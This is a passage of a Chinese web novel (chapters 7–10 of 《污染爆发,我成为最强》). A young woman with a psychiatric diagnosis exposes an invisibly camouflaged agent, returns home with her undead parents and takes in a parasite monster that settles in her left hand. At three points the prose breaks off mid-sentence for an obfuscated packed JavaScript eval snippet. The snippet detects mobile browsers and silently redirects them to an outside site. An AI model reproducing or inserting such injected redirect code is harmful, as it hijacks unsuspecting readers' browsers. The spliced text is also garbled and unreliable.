《污染爆发,我成为最强》 7. 异能 不。 不可能。 精神的崩溃犹如烟花炸裂,已经燃烧掉的火/药怎么可能复原。留下的最多是生前的一点点惯性,怎么可能尚算正常的生活。 韩序清楚郝伊人和岑峰身上的不合理之处,岑尤尤的“控制系异能”可以解释他们为什么显露出“保留有意识”的样子,但他们为何不惧怕阳光,能够在烈日下行走也是谜题。 污染源害怕阳光,那阳光对深度污染者来说肯定是致命弱点。其他被/操控的活尸,一样在阳光下爆/炸燃烧,变成一具具焦尸。 谜题的答案一定在岑尤尤的身上,他试探除测试岑尤尤的稳定性之外,还有弄清一切的意图,但结果是什么都没得到。而且,经历过不少类似场景得到韩序惊觉岑尤尤的态度有问题,她明明过分配合却根本不相信他说的任何一个字。 两人如同舞台上的搭档,他负责说段子,岑尤尤负责捧哏。 这时一场相声表演,所以段子是什么不重要,多荒谬都无所谓,对捧哏的来说,她只要适时的发出一点声音,让他能顺畅地继续说下去,不至于让一段声情并茂的表演硬生生砸在地上。 可岑尤尤有没有收演出费,她有什么理由让表演顺利进行? 韩序眯起眼睛,用全新的目光打量岑尤尤。 这个看起来普普通通的女孩防备心理竟然出乎意料的强,她绝不像心理专家们分析的那样容易崩溃…… 韩序决定转换策略,他说:“也许我需要向你证明一下异能的存在。现在屋里只有我一个人……” “咚咚咚——” 敲门声响起,韩序走过去打开房门,问道:“有什么事?” 一名身穿粉色护士服的小姐站在门外,视线一直往病房里面钻,细声细气说:“外面有警/察,说是收到报/警短信,有一位叫作岑尤尤的女士自称遭到非法监禁和猥亵……犯人自称韩序,韩队长……你派人解除一下误会吧。” 韩序伸手拨动耳麦,说道:“白组长,有一点小麻烦需要你处理一下……”他简短说完,挂断通讯。 护士小姐说:“那我先走了。” 韩序正要点头,又停下动作。伸手将病房的门打开到最大,对护士小姐说:“你在这里待一会儿……” 说完,他转身走向病房,站在距离病床五步远的地方,看着床上眼神游移的岑尤尤道:“岑小姐,是你报的警?” 岑尤尤攥着手机,没有说话。 韩序说:“你一直配合我的表演,其实是在拖延时间?” 岑尤尤扣/弄指甲油,大学室友替她做的美甲一直没有卸,指甲根露出很长一截,她无意识抠下一大片,神情变得慌张起来。 韩序额头青筋乱跳,压下略有些抽搐的嘴角说:“我说的话,你一个字都不信,对吧?因为我‘非法拘禁’……这里医院,我自认没有出格的行为,实在不明白你为什么会产生误会。”他抓了抓蓬乱的白发,想起岑尤尤只有刚醒来的时候使用过手机,更加难以理解:“我长得很像坏人吗?足以让你立刻下定报/警的决心……” 饶是他工作数年,什么大风大浪都见过,对眼前的僵局也生出无可奈何的感觉。只能苦笑一声,失笑道:“非法拘禁就罢了……我没有碰你一下,何谈猥亵?” 岑尤尤抬起头,用最凶的表情瞪着韩序。眼见获救无望,她已是破罐子破摔,大声吼道:“异性面前裸露身体,这难道不算是猥亵吗?你们搞清楚好不好,谁家正经医院允许在公共场合不穿衣服。” 韩序怀疑她犯病,“你在胡说什么?” 护士小姐连忙说:“岑小姐,你冷静一点。韩队长衣衫整齐,海市三十五度的天气,他甚至穿着全套的西装,局里……我是说医院,没有任何一个人比他裹得更严实。” 韩序说:“你或许需要先吃药,等你的幻觉消失我们再聊。” 岑尤尤分得清现实和幻觉,她早就过了需要通过吃药来控制病情的阶段了。见韩序二人还在“表演”,她掀开被子从床上跳起来,伸手指着角落的陪护床说:“我只是有精神疾病,并不是瞎子。从我醒来开始,床上就躺着一个裸/男。他在病房里自在得就像在自己家里一样,我听你——” 岑尤尤气得双脚乱跳,把床踩出不堪重负的呻/吟。她手臂移动,指向韩序说:“你说话的时候,他几次站起来,光着屁股走来走去。最过分的一次,他离我这么近……” 岑尤尤比划半米的距离,然后猛地转过头,看向空无一人的窗帘,恨恨道:“他屁股上纹的玫瑰花有几瓣,我都被逼看得一清二楚。我母胎单身二十二年,男孩子的手都没有牵过。这难道还不算猥/亵?” 她捂住眼睛,哀叫道:“救命啊,我一定会长针眼的。” 护士小姐完全不明白她在说什么,无助地看着韩序。 韩序却是有一点点明白了。他看向岑尤尤手指着的方向,开口喊道:“苏飞鸣,你在吗?” 这里只有三个人,没有第四道声音出现。 岑尤尤看着窗边,叉腰道:“装什么?这不是你的名字,你为什么要回头……” 韩序提高声音道:“海市异常管理局副队长,苏飞鸣。” “我在……” 不属于韩序的第二个男人的声音响起,护士小姐震惊得退后一步,捂住即将脱口而出的尖叫。这里竟……竟然真的还有一个人吗?苏飞鸣,异能队副队长。 那他穿衣服没有? 韩序问:“你没穿衣服?” 那凭空出现的声音在抖,牙齿咯吱咯吱作响。 “没没穿……” 韩序沉默了。 那声音陡然提高,“我没有特殊癖好!真的,我也不想光溜溜到处跑,正是异能决定我不能穿衣服。我的能力根本不是你们以为的隐身,而是‘环境拟态’。我可以像变色龙一样改变皮肤的色彩,进而欺骗任何人类和怪物的眼睛。可我不能让衣服像皮肤一样变化,只能不穿衣服。” 韩序继续沉默,他唯一能做的是立刻关掉房间的监控,避免自己的副队长持续在一干局内同僚面前社死。 苏飞鸣太震惊没想起和观察对象Q35的接触都有团队进行分析,他希望对方永远不要意识到这一点,避免同事当场心灵崩溃。 韩序把西装外套脱下来,丢向窗边。 西装外套没有被接住,直接掉在地上。反而是窗帘被暴力拉扯下来,裹住一个透明人。透明人渐渐显露出真容,正是一个二十四五岁的短发青年。一双潋滟的桃花眼根本不敢看向病床的方向,整个人如同烧红的烙铁,头顶冒出如有实质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467369|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白烟。 岑尤尤早已跳下床,光着脚溜到门边。她不明白韩序和姓苏的暴/露/狂到底有什么目的,但自从生病之后,遇到的奇怪事情太多太多。 遇到什么事情都要摸清逻辑,寻求真相,她只会在病情加重的道路上一去不返。 也许医院、韩序、暴/露/狂等等她醒来后看到的一切,听到的全部都是幻觉呢?这种情况要是遇到,解决的方法也很简单。 离开莫名其妙的环境,一切都会恢复正常。 岑尤尤弯腰从护士小姐打开的手臂下面钻出去,跑进走廊里。 护士小姐看向韩序:“队长,怎么办?” 精心准备的招募仪式不能说是毫无作用,只能说是一塌糊涂。不过,至少可以断定岑尤尤对正常社会的威胁性不算太高,贸然把她扔进异能队里才会炸锅。 韩序揉开几乎痉挛的眉心,说道:“放行……让她走吧。” 护士小姐的目光忍不住瞟向他身旁站着的苏飞鸣副队长,副队长的腰很细、臀挺翘的……正常人类都有两瓣屁股,玫瑰花纹在左边还是右边呢? 韩序问:“你在干什么?” 护士小姐干笑两声,眨眨眼睛,强迫自己收回不礼貌的视线。她转身出去,替两人关上门。 韩序拍拍苏飞鸣的肩膀,整个人几乎化为石头的苏飞鸣哪还有往日的轻佻随性,僵硬地转动脖子上的脑袋,看着韩序,喃喃自语:“我不明白,她为什么可以看到我?” 这是一个好问题? 韩序坐回凳子上,沉默片刻,说道:“她的异能显然和我们以为的不一样,绝非普通的操控系。” 韩序自己就是超控系,对该类的异能了解颇深。 “她的能力是看破伪装,还是看到真实呢?” 韩序眼睛倏地睁大,站起来转圈踱步。这异常的行为忽然停止,他对着完全不在状态内的苏飞鸣说道:“我记得Q35被诊断为精神分裂症的原因是妄想和幻觉,她总是能看到别人看不到的东西,听见听不到的声音……若一切都是异能的影响……” 韩序的声音慢慢变低,充满疑惑:“她真的有精神分裂症吗?” 苏飞鸣终于回过神来,伸手一拍他的肩膀。 “韩队,”病房的门被推开,一名戴着黑框眼镜的知性女士站在门口,说道:“Q35精神分裂的事实是经过多名专家认证的,三年前,岑尤尤高喊‘不要治好我,否则世界末日即刻降临’、‘我是世界最强’,冲出校门。比幻觉更严重的是她的妄想——” 此女名为庙易香是国家异常研究所派驻海市的研究员,负责Q35的跟踪观察。不过,她前些时候回京办事,今天中午才赶回来。 她的判断自然不会有错。 韩序回忆刚才的推测,无法理解自己怎么会说出如此荒谬的话语,跟岑尤尤“单独”聊一会,他竟然有种遭遇高等级精神怪物的感觉。面对高等级怪物,身为异能者依旧扛不住污染。他揉着有些轻微晕眩感的脑袋说:“抱歉,我状态不太好……可能是最近太累了。我想,我需要做一个心理疏导。” 庙易香微笑着说:“我随时有空,静候韩队大驾。” “对了,”她探头对苏飞鸣说:“苏副队,窗帘掉了。” 苏飞鸣:“……” 8. 橘子 岑尤尤冲下楼,看到熟悉的身影,不由眼前一亮。 郝伊人和岑峰站在医院的大厅里,他们像是能感知到岑尤尤的行动一样,根本没有听到脚步声,已经转过头。 郝伊人一见到她乱七八糟的模样就皱眉,“怎么连鞋都不穿?” 岑尤尤已经习惯妈妈说话变得慢吞吞,上年纪之后哪能像年轻时一样风风火火。 “我没找到鞋……” 岑尤尤低头耷脑,郝伊人就骂不出声了。 孩子永远知道怎么对付父母。 郝伊人和护士沟通一番,很快在医院的生活超市里买来一双拖鞋。鞋子是粉色的,岑尤尤喜欢的颜色。 “尤尤……” 一家三口正准备离开,岑尤尤忽然听到有人在叫自己。转过头一看,竟然是中介先生,他被两名医生夹在中间,似乎想要走过来,但医生一直对他说:“不要动。” 中介先生挣扎得更加厉害。 岑尤尤对他挥手:“嗨,你也在这……” 中介先生停止挣扎,一双眼睛直勾勾看着岑尤尤,问道:“尤尤,你要去哪?” 大家是同生死过患难的交情,岑尤尤不觉得他过于亲密,对他黏糊糊的态度也能包容。一定是受到惊吓,才会对自己有依赖心理。 岑尤尤据实以告:“现在已经没事了。当然是回家……也不知道家里还能不能住人……” 一直沉默不语好似隐形人一样的岑峰忽然上前一步,用略有些发福的身躯挡住女儿,伸出僵硬的手向外挥动,催促岑尤尤离开。 “知道了!就走。” 岑尤尤从小到大不知被爸爸往返接送学校多少次,早已习惯他严防有猪拱白菜的态度。她踮起脚尖也看不到中介先生,只得喊道:“再见。” 她猜中介先生肯定听到了。 身后,传来耳熟的咆哮声,似乎还伴随着尖叫和呐喊。不过,这些声音在她转过头的时候已经消失不见,同样消失的还有中介先生。 “咦,人呢?” 郝伊人走出很远不见有人跟上来,催促道:“乖宝,还不快走。再磨蹭一会儿,九点钟都不一定能吃上饭。你不饿吗?” 岑尤尤肚子发出“咕叽”一声,她今天一整天只吃过早餐,不饿才奇怪。 三人在医院门口拉开一辆出租车的门坐进去,司机本来在打瞌睡,打着哈欠醒来,伸手按下计价表,扭头一看,顿时吓得三魂七魄归位,残留的睡意霎时清空。 “你你你……” 副驾驶坐的是岑峰,他扭头看着司机。 司机吓得面容发青,眼睛翻白。 郝伊人说:“师傅,人都已经上车了。走吧。” 司机通过后视镜看到她的脸,眼前一阵阵发黑,脱口而出:“我不去殡仪馆。” 郝伊人僵硬的脸上看不出表情,但语气听得出不高兴。 “谁大晚上去殡仪馆,到青山小区。” 司机结结巴巴吐出一句:“要不你们坐别的车吧。” 岑峰慢吞吞系上安全带,郝伊人声音冰凉:“你想拒载啊?小心我打投诉电话。” 司机:“……” 司机一脚油门踩到底,一路风驰电掣。 岑峰闭上眼睛,身体靠着椅背一动不动。司机额头总感觉身边的人安静得连喘气的声音都消失不见,他是不是死了? 二十分钟的路程十分钟到达,岑尤尤开门下车,来到车子前面敲敲窗户。 “爸,醒醒……” 岑峰睁开眼睛,手指僵硬好一会儿都没解开安全带。 司机师傅只想把瘟神送走:“我帮您……” 他不小心碰到岑峰的手,只觉得像是摸到一块解冻的肉。软塌塌饱含水分,手感令人头皮发麻。 “咔嗒”一声,安全带解开。 司机先生浑身颤抖,郝伊人盯着他沉默一会,开口道:“你害怕我们?” 司机先生干笑两声,车门还没关他不能直接把车开走。 郝伊人意识到自己吓到人了,她从钱包里抽出一百块,放在副驾驶座位上,说道:“一路辛苦,不用找了。” 司机一愣,忽然觉得两人不那么可怕了。郝伊人关上车门,他连忙说“谢了”,又忍不住问一句:“二位生的什么病?” 这二位的样子看起来怪吓人的,市立第一医院是海市最好的一家医院。肯定是什么了不得的病,才会到市立第一医院求医。 即使如此,恐怕都是命不久矣了。 郝伊人说:“一点擦伤。” 司机:“……” 司机看向岑尤尤,小姑娘是一家子里唯一一个穿着病号服的。 岑尤尤身上连擦伤都没有,她干笑一声说:“我没病,cosplay呢。角色扮演。” 司机:“……” 青山小区外面有一条市内著名的小吃街,只有正宗的本地居民才晓得。规模不是很大,但汇聚全国各地的改良小吃,还有各种售卖小商品的摊位。 郝伊人轻轻把岑尤尤往前推,说道:“乖宝,你去街上买点东西吃。家里的厨房乱七八糟,没办法开火做饭。别买油炸的,烤鸡腿烤鸭腿之类的都是预制菜,吃碗面或者点两个小菜吧。” 岑尤尤想吃螺蛳粉爆辣的那种,有点不耐烦妈妈事事叮嘱。她都已经二十二了!可想到妈妈是生病了,不是故意的。顿时心里有再大的不满都消失不见,从善如流道:“好的。” 她以为父母会寸步不离的跟着她,最少也会有一个人陪同她一起吃饭。 可并没有。 她走进灯火明亮、人声鼎沸的之处,回头一看父母站在黑暗中,只能看到模糊的轮廓。 岑尤尤走到“阿叔夜宵”摊的门口,她没有出门上大学以前常光顾阿叔的生意,放假回家偶尔也会来吃一顿夜宵。 她要的是一份番薯粥,还有什锦小海鲜。端上来的唯一一道菜锅气十足,原料是葱姜和各种杂鱼虾贝,鲜得掉舌头。 岑尤尤回头看向自己走来的方向,父母已经不在那里了。她知道今天全家遇到危险,两人不可能把她一个人丢在外面,正打算快些吃完东西和他们一起回家,身边就坐下来一个人,她扭头一看,发现是装扮一新的郝伊人。 她身上穿着一条白色的裙子,裙摆破烂,像是一件被撕烂的婚纱。明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467370|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新梳理过的头发上佩戴着洁白的头纱,一直垂落到腰间。 岑尤尤脱口而出:“僵尸新娘???” 她另一边也有人坐下,正是衣着没有任何变化,神情依旧僵硬的岑峰。 两名高中生路过摊位,请求和僵尸新娘合影。郝伊人没有拒绝,和她一起拍好照片之后,其中一位高中生蹲在岑峰身边,让同学帮他拍照。 “我和这位丧尸先生也拍一张。” 岑峰伸出手比耶,但是手指僵硬没有成功,最后定格成举着拳头的画面。 两位高中生欣喜离去,夸赞两人的cos特别真实,很有氛围感。 岑尤尤很快光盘,回去的路上郝伊人看到卖橘子的货车,挑选一袋拎着走进小区。忽然,结实的塑料袋“撕拉”一声从中间整齐断裂,橘子掉在地上,滚落得到处都是。 岑尤尤满地捡橘子,脱下病号服的外套,兜住橘子抱在怀里,快步走进小区。 …… 一道黑影从市立第一医院的顶楼一跃而下,在当空一轮明月的照耀下,暴/露出青白发黑不似活人的面色和破烂的衣物。他似乎刚经历过一场恶战,凭借着疯狂的执念正在逃脱追捕。 “快追……” “捉住柯队。” 黑影正是柯高明,他落在对面楼栋的屋顶,乘坐电梯来到一楼。截停一辆路过的车子,伸手将司机丢到车外。车子横冲直撞,朝着目的地冲去。 韩序开着追上去,透明的丝线自他指间喷出,钻出车窗黏住前方的车辆。他听到连绵不绝,重复回响,癫狂激昂的声音,属于熟悉的同事柯高明,异常管理局突击队的队长。 这支队伍的成员没有异能,但心理稳定度高,心志坚定,抗污染能力比一般人强。 “尤尤,我来了我来了我来了我来了……” “尤尤尤尤尤尤尤尤……” “回家回家回家回家回家回家……” 激荡的热情,言语的痴迷像震耳欲聋的摇滚曲,韩序脑中嗡嗡作响,抓住前车的透明丝线齐齐断裂。夜晚有风,错过机会他没能在车辆停下来前控制住柯高明,让他变成牵线木偶。 柯高明驱车撞毁栅栏,冲进小区。 韩序开门下车,前进三步骤然停下来,他身旁传来一声闷哼,接着响起轻佻的声音,语带无奈之意。 “还是进不去。” 韩序伸出手,一道看不见的墙挡住去路。 这样如结界一般的透明之物裹住整个青山小区,让此处成为一个特殊的地方,异能者和怪物都被列为禁止到访人员。 活尸王是在小区内崩溃变成污染源的,不在此之列,乃是意外的巧合。 这也是明知道青山小区大概率有污染源存在,却只派遣全是普通人的突击队进入的原因。 其中,岑尤尤是个例外,柯高明能够进去或许和她有关。 韩序拨动耳麦,下令道:“突击队全员出动,包围青山小区6幢。” 布置好作战计划,韩序拿出电话。他有岑尤尤的电话号码,可“拨通电话”的想法浮现出来,带来的竟然是巨大的心理压力。 他怕又被骂变态。 9. 小左 六幢的楼下已经被清理过,步梯通道拉着明黄色的隔离带,墙壁上贴着“毒气泄露,禁止入内”的标语。 岑尤尤只能给物业打电话,她以为不那么容易接通,没想到刚响铃三声,手机里面就传来一个好听的声音。 “这里是青山小区物业服务中心。业主女士,请问有什么能帮您的吗?” 岑尤尤问:“六幢现在可以进去吗?” “六幢封闭的原因是‘蘑菇中毒自焚事件’的后续还未处理完毕,但毒气其实早已飘散,已没有残留,进去不会有危险。不过,此次事件有多人丧生,考虑到业主们的心情,物业已经统一安排六幢的业主们到附近的酒店休息。业主女士,您需要我们派车送您去酒店吗?” 这不对劲,岑尤尤问道:“电话接通之后,我没有说话,你怎么知道我是女士。还有,你怎么知道我是六幢的业主?” 那好听的难辨男女的声音说:“物业有储存业主的基本信息,是各位制作门禁卡的时候留下的。六幢401业主,岑尤尤小姐,您的电话信息录入过我们的系统,来电会显示姓名。” “这样啊,”岑尤尤知道今天发生的事情太多,让她多少有些草木皆兵了。她问道:“毒蘑菇中毒自焚是怎么回事?原来真的不是狂犬病啊。” 那声音有一种略带惋惜的情绪回复道:“具体的情况,物业也不是很清楚。起因似乎为一袋毒蘑菇,有位业主将它带回小区。该蘑菇会释放致幻气体,导致一众业主和不幸卷进此事的两名快递员中毒,做出异于寻常的举动,就连我们的一位同事也不幸丧生了。” 好可怕,最近一段时间她看到蘑菇恐怕都会产生应激反应。该事件有合理的解释,下午听到的一番天方夜谭瞬间被岑尤尤抛到脑后。 什么精神崩溃? 什么异能? 什么怪物? 什么精神污染? 不知是哪个想象力丰富的家伙编造出的桥段,哼。 “这样啊,”岑尤尤不知道该说什么,只能道:“节哀顺变。” 物业工作人员说:“谢谢。天色已晚,需要送您去酒店吗?” “不用了。” 岑尤尤说了一声“再见”然后挂断电话,她看向妈妈说:“我们可以回家。” 郝伊人点点头,三人一起上楼。家里的门是虚掩着的,岑尤尤推开门,屋里乱七八糟,客厅和餐厅几乎没办法下脚。厨房门口的一大摊血污来自中介先生,已经干涸发黑,三间卧室倒是没有被破坏,晚上休息没问题。 岑尤尤完全不敢往阳台的方向看,总觉得没有栏杆一阵风都能把她刮下四楼。她回到房间,发现还有网络,连忙广投简历。这件事她每天都做,已经毕业总要找一份合适的工作。只可惜面试的机会因为父母不允许她出门而错过,希望父母能早些改变想法吧。 这样想着,岑尤尤躺在床上,闭上眼睛。 她很快睡着了。 夜风吹进房子里,吹得厨房里的条纹病号服颤动起来。很快,风停歇下来,可是病号服颤动得更加厉害,一颗形状漂亮、表皮泛红,显然已经熟透的橘子顶开用衣袖打的结,从料理台上滚下来,滚过厨房门口的血迹。 血迹像被仔细擦除过一样,消失得一干二净。 橘子的表皮更加红艳有光泽,像是涂抹了一层胭脂。 它滚啊滚,滚到靠近走廊的房间。 这间房属于家中怕高的小女孩,橘子一头撞到门板上,然后停下来。一条乳白色的虫子啵一声从橘子里钻出来,橘子外皮的色泽变得黯淡许多。如果再让郝伊人重新挑选,她不会从一车的橘子里,一眼选中这一颗。 小小的虫子钻进门缝里,上端立起,尾部颤动。一只圆滚滚的眼睛在它身体里打开,盯着床上沉睡的女孩,左右摇摆,似乎是在笑。 慢慢地,它沿着床脚爬上床,爬到女孩伸出被子的左手旁边,对准掌心,一头扎进去。它钻进人类的肉中的姿态曼妙,好似鱼儿在水中游泳。 女孩的左手高高举起来,掌心处裂开一条缝隙,一只细长无睫的眼睛睁开。白色的眼球盘旋两圈,看见女孩沉睡面孔,慢慢向上,注视藏在茂密卷发中的脑部。同时,与掌心相连的中指变成一张带着吸盘的嘴,鲜红细长的舌头伸出来,舔舐嘴唇。 这明显产生变化的诡异左手慢慢靠近大脑,唾液从吸盘似的嘴里流出少许。忽然,左手手掌反转,眼睛看向窗户。 漆黑的夜色中,一根灰白发青的手指在窗户缝隙里轻轻一划。薄而坚硬,边缘无比锋利的指甲如切豆腐一般将锁住窗户的旋扣切断,几乎没有发出声响。 窗户被一双青白色的僵硬大手打开,柯高明从窗外跳进来,满脸癫狂之色。 整个房间瞬间被“尤尤尤尤尤尤尤尤”、“我回家了我回家了我回家了”的呢喃之语塞满,他向最虔诚的信徒一样跪着膝行到床边,狂暴、痛苦和惊惧等负面情绪在看到床上女孩脸的瞬间消失不见,他的理智回归少许,呢喃停滞片刻,僵硬的舌头吐出三个字——“柯高明”。 “我是柯高明……” 我是异常管理局的突击队队长,我因职业暴/露变成深度污染者…… 深度污染是不可逆的…… 我变成怪物了。 真糟糕。 但这些都不重要,尤尤尤尤尤尤…… 尤尤尤尤…… 我的□□…… 柯高明看到岑尤尤中指变成一张巨大的嘴,朝着自己咬来。他没有躲,反而努力把全部的自己一起送进薄薄的嘴里,甚至害怕自己身上的尖锐的指甲会划破柔软的口腔,故而蜷缩成一团,将指甲藏在腹部。 他的内心充满激动和喜悦。 我被尤尤吃掉了…… 成为养分…… 好幸福…… …… 明明被吃掉竟然开心到疯狂? 小爷我几年没出来活跃,外面的小怪物都变成恋爱脑了? 啧啧啧。 外卖送上门。 开局大吉。 那么,先彻底占据身体,再吃掉另外两只怪物好了。 “不行哟,身体是我的,你不要妄想抢走。” 思绪被忽然响起的声音打断,左手翻转,细白无睫的眼睛和一双睡意未散的眼睛三目相对。总是带来灾难和死亡的精神怪物觉得事情诡异起来,难道自己落进的是一个陷阱? 桀桀,恐怕设下陷阱的家伙要赔了夫人又折兵了。 左手中指痉挛,猛然膨胀的口器甩向头颅。然而,距离头颅不到一厘米时,准确地被一只细白的手捏住嘴唇。 紧接着,细白的看起来没有太大力量的手一掌掌拍下来,拍得嘴剧痛。飞快缩到最小,连左手的意识都猛烈颤抖起来,好痛好痛好痛…… 岑尤尤坐起来,打开灯。她终于看清左手的变化,掌心里的眼睛和异化的中指如此奇特,她却是波澜不惊。打着哈欠,用右手的食指一下下戳弄掌心白色眼球,戳得无睫的眼睑飞快眨动,想要避免指甲直接碰触到眼球。 这显然没什么用处,很快眼睛里就流出大量晶莹的泪水。 “这是下马威,给你一个教训,”岑尤尤严肃地对左手说:“不要妄图再抢夺身体的控制权,否则我会直接杀掉你。我说到做到!” 她到底是什么人? 听到脑中响起的声音,岑尤尤回答道:“你可以叫我尤尤,我怎么称呼你?” 没有听到对方的回答,岑尤尤习以为常道:“你没有名字是正常情况,有名字但不愿意说出来也不奇怪。那我叫你‘小左’好了。很晚了!我们简单商讨一下‘家规’就赶紧睡吧。明天要做的事情还很多……” “你是异能者吧?” 这次说话是左手中指化作的口器,声音并非在岑尤尤脑中响起。 岑尤尤捂住脑袋,双脚蹬开被子,哀叫道:“糟糕、糟糕。下午的事情果然对我造成不小的影响,都怪那两个法制咖。喂,你是什么东西?” 左手手心里的眼睛飞速眨动,正在思考怎么应对,它的脑子并不是很灵光,只想出放松异能者的警惕,一击必胜的办法。可以编谎话应付对方,然而,它的嘴张口就吐出一连串实话。 “我是4级污染源,名为寄生虫。我可以寄生任何一个碰触到的人类,再一点点吞噬被寄生的大脑、内脏、血肉,等到躯体无法使用,再寻找新的目标。” 岑尤尤翻着白眼说:“哦,污染源……你的污染方式是什么?” “污染方式?这是人类的说法,我能任意放大任何一个碰触的人类的情绪,‘嘭’一下就会把他们变成怪物。即使不接触,我也能影响周围人类和动物的情绪,让他们情绪的波动变大。” 左手手心的眼睛飞快眨动起来,它努力控制自己,但还是几乎毫无保留的暴/露全部底牌。这本是它不该说出口的话,一个字都不该说。 岑尤尤问:“4级污染源很厉害吗?” “污染源的等级从6级到1级递增,每跨越一级能量会有质的飞跃,自身的实力和污染力更是完全不一样。你的父母就是被6级污染源污染的怪物,人类找到他们弱点就可以轻易杀死他们,看他们就知道污染源本身也有很大的局限性。” “5级污染源拥有一些特殊的能力,污染方式更直接。哪怕依照本能行动也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467371|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人类社会带来一场盛大的灾难。” “4级污染源中有很少的一部分拥有智慧,我们已经能被称为高等生物。间接的污染更不易察觉,混进人类之中不要太容易……” 话音刚落,左手中指弯曲缠绕,极强的柔韧性让它轻松打出一个结,嘴巴被扼住喉咙,即使张开也说不出一句话。 绝对,千万不能再说了…… 底裤都要被扒掉了。 岑尤尤继续问:“污染源等级可以提升吗?” 嘴巴不能说话,但有声音在岑尤尤脑海里响起来。 “污染源生就得等级很难突破,但也有例外。我,一个特殊的污染源就是其中的个例。桀桀桀,我可以吞噬别的污染源来强化自己。” 岑尤尤伸手抚摸下巴,说道:“看来你是一个幻想人格,既然是受今天发生的事情刺激而分裂而来,那也难怪了。有一段时间没遇到‘生存背景’完善的副人格了……固有认知打破起来相当麻烦,哎。” 嘴巴解开自己,问道:“你到底在说什么?” 岑尤尤说:“我知道你可能并不相信我说的话,但你因我而出现,我有义务同你解释情况。”她指着自己的脑袋说:“我这里生病了。我有多种精神疾病,其中包括‘人格分裂症’。你不是我分裂出的第一个人格,但我已经很久没有分裂新人格了。我以为我已经战胜一种精神疾病,没想到病魔只是暂时离开。哎,现实总是给人以痛击。” “你先不要说话,听我说。” 岑尤尤处理过很多次类似的情况,不需要整理语言就脱口而出:“我不知道以你的知识储备能不能理解我说的话,简单来说我是身体的主人格,你是我分裂的一个副人格。你的人生经历都是假的……” 口器末端的嘴巴一点点张大,“你在胡说些什么?异能者,你难道妄图对精神怪物进行反向的精神污染?” 岑尤尤早已预料到它的反应,说道:“你自己整理心情吧。真的太晚了!现在来商讨家规。一、未经允许不得夺取身体控制权,不能让任何人类发现你的存在;二、我大发慈悲让你控制身体的时候,必须遵循我的人设,禁止OOC;三、任何情况不能伤害郝伊人女士、岑峰先生和南欣美女,此名单我可以随时添加任何人员。以上规则解释权归岑尤尤,违反任意一条我会让你彻底消失。你有异议吗?” 寄生者意识到整件事好像有点奇怪,连忙说:“有!” 岑尤尤笑眯眯说:“没有就好。那祝愿我们未来相处愉快。” 寄生虫提高声音:“等等,你刚刚说的是‘商讨家规’吧?” 岑尤尤点头:“没错,我是这么说的。我最后有询问你意见。” 寄生虫:“……可是……等等……” 好像有哪里不对吧? 岑尤尤躺回床上,闭上眼睛。嘀咕道:“我睡得正香被你的‘大声密谋’吵醒,已经非常恼火。睡觉。” 寄生虫:“……” 它静静等待一会儿,发现岑尤尤的呼吸变得均匀起来。 不管是不是陷阱,趁现在! 它刚动攻击岑尤尤的念头,不禁浑身一颤失去身体的控制权。不知过去多久,那种意识存在但身体消失的感觉才远去,它眼珠里滴溜溜乱转,决定认栽——跑吧!打不过就跑不丢人。 然而,它念头一动也就动了一下。 ……不行。 怎么会这样? 无法脱离寄生的身体…… 这种情况它诞生以来,还是第一次遇到。 为什么?因为这个叫做岑尤尤的人类说的话吗?言灵类异能? 它努力到天光乍亮,还是既没有脱离身体也没有扩大一寸疆土。直到此时,周围并无别的精神力量波动,不像有异能者突然跳出来的样子。 这似乎并不是一个陷阱。 否则对方怎么确定它能跳进来呢? 寄生对象是它临时挑选的,它万分肯定自己并没有被盯上。 那么,只有一种可能……它碰上的是一个强大但疯癫的异能者。 真倒霉。 不,这或许是机遇呢? 只要它一直寄生在对方身上,对方迟早会被它彻底污染。 这么强大的异能者,一定能异化为高等级的污染源。 到时候,它再一口吃掉…… “吵死了!” “你又在嘀嘀咕咕说什么?” “啪”一声,眼球被击中,痛得意识涣散,一滴滴血泪滴落在床单上……它的全世界都蒙上一层红色的血光,被吵醒的岑尤尤已经重新睡熟。 这一次,它放空思绪,什么都不敢想了。 10. 人格 早上八点,岑尤尤睁开眼睛,喊道:“小左。” 没有人应声,岑尤尤抬起左手,用右手戳闭合的眼睛。那里只有一条浅浅的印记,像是早已愈合的伤疤。 薄薄的眼皮被指甲掀开,细长的眼镜不得不睁开。白色的眼珠子死死地岑尤尤,说道:“干什么?” 岑尤尤打着哈欠说:“我叫你你要答应啊,小左。” “你可以叫我寄生虫。” “好的,小左。” “喂……” 岑尤尤语气骤变,冷声说:“我劝你和我说话客气一点,身为副人格要表现出足够的存在价值,我才会留下你。否则,你将会消失。” 